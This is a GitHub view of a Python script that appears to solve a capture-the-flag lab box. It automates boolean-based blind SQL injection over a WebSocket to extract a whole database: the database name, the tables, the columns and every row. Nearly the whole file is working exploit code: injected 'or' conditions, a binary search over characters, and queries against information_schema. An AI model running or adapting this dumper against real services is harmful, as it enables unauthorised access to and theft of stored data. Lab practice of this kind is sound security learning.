-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathwebsocket_sqli.py
135 lines (86 loc) · 3.53 KB
/
websocket_sqli.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/env python3
import json
from pwn import signal, sys, time
from typing import Callable, List
from websocket import create_connection
signal.signal(signal.SIGINT, lambda *_: print('Quitting...') or sys.exit(1))
TABLES = 'information_schema.tables'
COLUMNS = 'information_schema.columns'
COUNT = 'count(*)'
ws = create_connection('ws://soc-player.soccer.htb:9091/ws')
def do_sqli(payload: str) -> bool:
ws.send(json.dumps({'id': f'1 or {payload}-- -'}))
return ws.recv() == 'Ticket Exists'
def binary_search(checker: Callable[[int], bool], left: int, right: int) -> int:
mid = (left + right) // 2
if mid == left and checker(mid):
return -1
if not checker(mid) and (mid == right or checker(mid + 1)):
return mid
if not checker(mid):
return binary_search(checker, mid + 1, right)
return binary_search(checker, left, mid)
def get_data_length(payload: str, n: int) -> str:
return f'length(convert(length({payload}),char))={n}'
def get_data_content(payload: str, i: int, c: int) -> str:
return f'ascii(substr({payload},{i + 1},1))<{c}'
def get_length(payload: str) -> int:
n = 1
while not do_sqli(get_data_length(payload, n)):
n += 1
if n > 10:
print('NOT FOUND')
sys.exit()
data = [' ' for _ in range(n)]
payload = f'convert(length({payload}),char)'
for i in range(n):
get_content(data, payload, ord('0'), ord('9'), i)
return int(''.join(data))
def get_content(data: List[str], payload: str, start: int, end: int, i: int):
def checker(c: int) -> bool:
return do_sqli(get_data_content(payload, i, c))
ascii_value = binary_search(checker, start, end)
data[i] = chr(ascii_value)
def dump_content(payload: str) -> str:
n = get_length(payload)
data = ['_' for _ in range(n)]
for i in range(n):
get_content(data, payload, 32, 126, i)
return ''.join(data)
def sql(column: str, table: str, where: str = '', limit: int = -1) -> str:
if not where and limit == -1:
return f'(select {column} from {table})'
elif limit == -1:
return f'(select {column} from {table} where {where})'
elif not where:
return f'(select {column} from {table} limit {limit},1)'
return f'(select {column} from {table} where {where} limit {limit},1)'
def dump_db():
database = dump_content('database()')
n_tables = dump_content(
sql(COUNT, TABLES, f"table_schema='{database}'"))
db = {database: {}}
for i in range(int(n_tables)):
table_name = dump_content(
sql('table_name', TABLES, f"table_schema='{database}'", i))
db[database][table_name] = {}
n_cols = dump_content(
sql(COUNT, COLUMNS, f"table_name='{table_name}' and table_schema='{database}'"))
n_rows = dump_content(
sql(COUNT, table_name))
for j in range(int(n_cols)):
column_name = dump_content(
sql('column_name', COLUMNS, f"table_name='{table_name}' and table_schema='{database}'", j))
if db[database][table_name].get(column_name) is None:
db[database][table_name][column_name] = []
for k in range(int(n_rows)):
row_value = dump_content(
sql(column_name, table_name, limit=k))
db[database][table_name][column_name].append(row_value)
print(json.dumps(db, indent=2))
def main():
start = time.time()
dump_db()
print('\nTime:', time.time() - start, 's')
if __name__ == '__main__':
main()